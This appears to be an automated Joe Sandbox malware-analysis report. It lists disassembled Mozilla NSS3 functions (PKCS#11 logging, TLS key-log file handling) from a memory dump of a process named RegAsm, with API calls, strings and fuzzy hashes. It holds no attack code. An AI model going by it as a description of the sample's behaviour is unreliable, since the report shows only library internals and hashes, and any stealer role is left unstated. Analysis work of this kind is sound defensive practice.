Opcode Fuzzy Hash: 1459420bbad242c9b862d0d660b5ba870466bf0706eb69a0f151c0a02f6e09ab
Instruction Fuzzy Hash: 68F19FB1E002189FDF01DF68D884FAEBBB4BF09318F554169EC05A7721EB31A995CB91

Function 6C446D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C446D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C446DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C446DC3

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C446DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C446DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C446E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C446E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C446E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C446EB9

Strings

C_Digest, xrefs: 6C446D81
hSession = 0x%x, xrefs: 6C446D9E, 6C446DAE
nRl, xrefs: 6C446E61, 6C446E95
pDigest = 0x%p, xrefs: 6C446E27
*pulDigestLen = 0x%x, xrefs: 6C446EB4
ulDataLen = %d, xrefs: 6C446E0E
pulDigestLen = 0x%p, xrefs: 6C446E42
(CK_INVALID_HANDLE), xrefs: 6C446DBC
pData = 0x%p, xrefs: 6C446DF5

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nRl
API String ID: 1003633598-3189361097
Opcode ID: d53dc3847f2c399a8d618169a052b0f92f78452cc1d6e36a277d9cf7a75bf78e
Instruction ID: 2740a39626ca32c2544c9ef48a8cd93d3fcd01d73b236843a5f69215878e850a
Opcode Fuzzy Hash: d53dc3847f2c399a8d618169a052b0f92f78452cc1d6e36a277d9cf7a75bf78e
Instruction Fuzzy Hash: 4A41D475601124EFEB01EF54DD49FDA3BF1EBC2319F158029E80997A12DB319889CBE5

Function 6C448820 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C448846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C448874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C448883

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C448899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C4488BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C4488D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C4488EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C448907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C448979

Strings

pEncryptedPart = 0x%p, xrefs: 6C4488B5
hSession = 0x%x, xrefs: 6C44885E, 6C44886E
nRl, xrefs: 6C448921, 6C448955
pulPartLen = 0x%p, xrefs: 6C448902
ulEncryptedPartLen = %d, xrefs: 6C4488CE
*pulPartLen = 0x%x, xrefs: 6C448974
(CK_INVALID_HANDLE), xrefs: 6C44887C
pPart = 0x%p, xrefs: 6C4488E7
C_DecryptVerifyUpdate, xrefs: 6C448841

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate$nRl
API String ID: 1003633598-2508491709
Opcode ID: 11725a61571e23581b3fcca0211dcc84ebcebf4c91ec53705f3b2efc494516e2
Instruction ID: 53728e732098b4adf161fd326a80b54a05a2afafb4882e4b41efda1cccc843ca
Opcode Fuzzy Hash: 11725a61571e23581b3fcca0211dcc84ebcebf4c91ec53705f3b2efc494516e2
Instruction Fuzzy Hash: 0941F775601024EFEB01DF54DD48F9A3BB1FB8231DF15802AE809A7B52E7319858CBE2

Function 6C446960 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6C446986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4469B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4469C3

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4469D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C4469FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C446A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C446A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C446A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C446AB9

Strings

pEncryptedPart = 0x%p, xrefs: 6C4469F5
hSession = 0x%x, xrefs: 6C44699E, 6C4469AE
nRl, xrefs: 6C446A61, 6C446A95
pulPartLen = 0x%p, xrefs: 6C446A42
C_DecryptUpdate, xrefs: 6C446981
ulEncryptedPartLen = %d, xrefs: 6C446A0E
*pulPartLen = 0x%x, xrefs: 6C446AB4
(CK_INVALID_HANDLE), xrefs: 6C4469BC
pPart = 0x%p, xrefs: 6C446A27

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate$nRl
API String ID: 1003633598-3825383629
Opcode ID: 82ad571c472a547a7af0526ca8d0d2dfcb459922ca4f4262a7a7862ae2e0e06a
Instruction ID: ce399e0ddab69c23c2e85861b854228d45cef6790cad72b3c3e79243fae3d05c
Opcode Fuzzy Hash: 82ad571c472a547a7af0526ca8d0d2dfcb459922ca4f4262a7a7862ae2e0e06a
Instruction Fuzzy Hash: 2241E631601020EFEB01DF14CD49F9A3BB1EB82319F15C029E809A7A11DB319C89CBE1

Function 6C454C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C454C4C
EnterCriticalSection.KERNEL32(?), ref: 6C454C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C454CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C454CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C454CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C454D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C454D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C454DB7

Part of subcall function 6C4BDD70: TlsGetValue.KERNEL32 ref: 6C4BDD8C
Part of subcall function 6C4BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C4BDDB4

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

TlsGetValue.KERNEL32 ref: 6C454DD7
EnterCriticalSection.KERNEL32(?), ref: 6C454DEC
PR_Unlock.NSS3(?), ref: 6C454E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C454E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C454E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C454E71
free.MOZGLUE(00000000), ref: 6C454E7A
PR_Unlock.NSS3(?), ref: 6C454EA2
TlsGetValue.KERNEL32 ref: 6C454EC1
EnterCriticalSection.KERNEL32(?), ref: 6C454ED6
PR_Unlock.NSS3(?), ref: 6C454F01
free.MOZGLUE(00000000), ref: 6C454F2A

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 1ab3eb9487e07c7f12d602c21aea496887096510b2858bd5b8f5b470839e49f5
Instruction ID: 9889e49c1edb5e278dd3a26cb740dd8b5d775b3ce6741511bf68cc075f7332a1
Opcode Fuzzy Hash: 1ab3eb9487e07c7f12d602c21aea496887096510b2858bd5b8f5b470839e49f5
Instruction Fuzzy Hash: EDB10E71A002059FEB01EF28DC84FAA77B4BF0A359F815128E8059BB10E734E975CBE1

Function 6C4A6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C4A6BF7), ref: 6C4A6EB6

Part of subcall function 6C401240: TlsGetValue.KERNEL32(00000040,?,6C40116C,NSPR_LOG_MODULES), ref: 6C401267
Part of subcall function 6C401240: EnterCriticalSection.KERNEL32(?,?,?,6C40116C,NSPR_LOG_MODULES), ref: 6C40127C
Part of subcall function 6C401240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C40116C,NSPR_LOG_MODULES), ref: 6C401291
Part of subcall function 6C401240: PR_Unlock.NSS3(?,?,?,?,6C40116C,NSPR_LOG_MODULES), ref: 6C4012A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C54FC0A,6C4A6BF7), ref: 6C4A6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C4A6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C4A6EFC
PR_NewLock.NSS3 ref: 6C4A6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C4A6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C4A6BF7), ref: 6C4A6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C4A6BF7), ref: 6C4A6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C4A6BF7), ref: 6C4A6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C4A6BF7), ref: 6C4A6FFD

Strings

SSLFORCELOCKS, xrefs: 6C4A6F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C4A6F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C4A6EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C4A6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C4A6FF8
SSLKEYLOGFILE, xrefs: 6C4A6EB1

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 49d28d65549910caa11db778382d72bac341dfd8bba1cb22f89d23a53573555d
Instruction ID: 7d3ccd04f703f70277664041a0978625a97af5d051f521256945674b106534a1
Opcode Fuzzy Hash: 49d28d65549910caa11db778382d72bac341dfd8bba1cb22f89d23a53573555d
Instruction Fuzzy Hash: FDA129B2A5D99086EA21C6ACCD00F8433E16BB736AF5A4365E430C6FDCDB759483C395

Function 6C47E8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C47E853,?,FFFFFFFF,?,?,6C47B0CC,?,6C47B4A0,?,00000000), ref: 6C47E8D9

Part of subcall function 6C470D30: calloc.MOZGLUE ref: 6C470D50
Part of subcall function 6C470D30: TlsGetValue.KERNEL32 ref: 6C470D6D

Part of subcall function 6C47C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C47DAE2,?), ref: 6C47C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C47E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C47E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C47EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C47EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C47EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C47EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C47EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C47EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C47EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C47EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C47EBEC
free.MOZGLUE(00000000), ref: 6C47EC58

Strings

SGl, xrefs: 6C47E9CA, 6C47EAAB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: SGl
API String ID: 759478663-3807857866
Opcode ID: 82b9d5524527798329567a5071514988f10a0d6598ab6330173f00781343cb02
Instruction ID: 5af3e6b402e67e4df5451a4f4ff35f24fc67887e8d4db56faf37c6bf13b957fe
Opcode Fuzzy Hash: 82b9d5524527798329567a5071514988f10a0d6598ab6330173f00781343cb02
Instruction Fuzzy Hash: 62C161B5E012059FEB20CF69D8C1FEA7BB4AF04318F150669E906A7B51E731E905CBE1

Function 6C444E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C444E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C444EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C444EC7

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C444EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C444F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C444F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C444F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C444F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C444F68

Strings

hObject = 0x%x, xrefs: 6C444EF5, 6C444F05
hSession = 0x%x, xrefs: 6C444EA2, 6C444EB2
nRl, xrefs: 6C444F82, 6C444FB2
ulCount = %d, xrefs: 6C444F63
(CK_INVALID_HANDLE), xrefs: 6C444EC0, 6C444F13
pTemplate = 0x%p, xrefs: 6C444F4A
C_GetAttributeValue, xrefs: 6C444E7E

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nRl
API String ID: 1003633598-4101543177
Opcode ID: 957c8abdfb8ac81097a46fdd2463c5dc46262217e59caaffd2b19e0d04edbb8a
Instruction ID: ce152d4f0a078ff2fef751e2f4133d88756284282cd351324200ffff6b29abf5
Opcode Fuzzy Hash: 957c8abdfb8ac81097a46fdd2463c5dc46262217e59caaffd2b19e0d04edbb8a
Instruction Fuzzy Hash: DC412230601124EFEB01EF54DC48F9A37B5EB8235DF259029E90857B52EB349E89CBB5

Function 6C444CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C444CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C444D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C444D37

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C444D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C444D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C444D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C444DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C444DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C444E20

Strings

hObject = 0x%x, xrefs: 6C444D65, 6C444D75
hSession = 0x%x, xrefs: 6C444D12, 6C444D22
nRl, xrefs: 6C444DD4, 6C444DFF
*pulSize = 0x%x, xrefs: 6C444E1B
C_GetObjectSize, xrefs: 6C444CEE
pulSize = 0x%p, xrefs: 6C444DB7
(CK_INVALID_HANDLE), xrefs: 6C444D30, 6C444D83

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nRl
API String ID: 1003633598-3776821760
Opcode ID: 0ca9ed8dafe1f1a31217942a0deabf69b8739cb5a019fb266a047b3e79258428
Instruction ID: 5646747cb2bb3243759e3f6b9907f804d06c20901ee52ab61ec69a1c69cb9166
Opcode Fuzzy Hash: 0ca9ed8dafe1f1a31217942a0deabf69b8739cb5a019fb266a047b3e79258428
Instruction Fuzzy Hash: EC4107B1601110EFE701EF10DC88F6A37B5EB8235DF15D029E8086BA52EB349D89CBB5

Function 6C442F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C442F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C442F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C442F63

Part of subcall function 6C52D930: PL_strncpyz.NSS3(?,?,?), ref: 6C52D963

PR_LogPrint.NSS3(?,00000000), ref: 6C442F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C442F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C442FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C442FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C442FE7

Strings

hSession = 0x%x, xrefs: 6C442F3E, 6C442F4E
nRl, xrefs: 6C442FFF, 6C443030
ulOldLen = %d, xrefs: 6C442FB0
pNewPin = 0x%p, xrefs: 6C442FC9
ulNewLen = %d, xrefs: 6C442FE2
C_SetPIN, xrefs: 6C442F21
(CK_INVALID_HANDLE), xrefs: 6C442F5C
pOldPin = 0x%p, xrefs: 6C442F95

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nRl
API String ID: 1003633598-474375343
Opcode ID: 7d256f595c7887af834c8021f07489f5844a61660058291c97e7055622ec9240
Instruction ID: 9e7c9d6da0176b4e39e217ee51d13c3cd534d58294423d4d6fe63a1986eab507
Opcode Fuzzy Hash: 7d256f595c7887af834c8021f07489f5844a61660058291c97e7055622ec9240
Instruction Fuzzy Hash: C7310671601154EFEB11DF14CC4CF9A37B1EB86319F558029E808A7B12DB319889DBB5

Function 6C4A28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C4A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C4A5B56

TlsGetValue.KERNEL32 ref: 6C4A290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C4A291E
TlsGetValue.KERNEL32 ref: 6C4A2937
EnterCriticalSection.KERNEL32(00000001), ref: 6C4A294B
PR_EnterMonitor.NSS3(?), ref: 6C4A2966
PR_EnterMonitor.NSS3(?), ref: 6C4A29AC
PR_ExitMonitor.NSS3(?), ref: 6C4A29D1
PR_EnterMonitor.NSS3(?), ref: 6C4A29F0
PR_EnterMonitor.NSS3(?), ref: 6C4A2A15
PR_EnterMonitor.NSS3(?), ref: 6C4A2A37
PR_ExitMonitor.NSS3(?), ref: 6C4A2A61
PR_ExitMonitor.NSS3(?), ref: 6C4A2A78
PR_ExitMonitor.NSS3(?), ref: 6C4A2A8F
PR_ExitMonitor.NSS3(?), ref: 6C4A2AA6

Part of subcall function 6C4D9440: TlsGetValue.KERNEL32 ref: 6C4D945B
Part of subcall function 6C4D9440: TlsGetValue.KERNEL32 ref: 6C4D9479
Part of subcall function 6C4D9440: EnterCriticalSection.KERNEL32 ref: 6C4D9495
Part of subcall function 6C4D9440: TlsGetValue.KERNEL32 ref: 6C4D94E4
Part of subcall function 6C4D9440: TlsGetValue.KERNEL32 ref: 6C4D9532
Part of subcall function 6C4D9440: LeaveCriticalSection.KERNEL32 ref: 6C4D955D

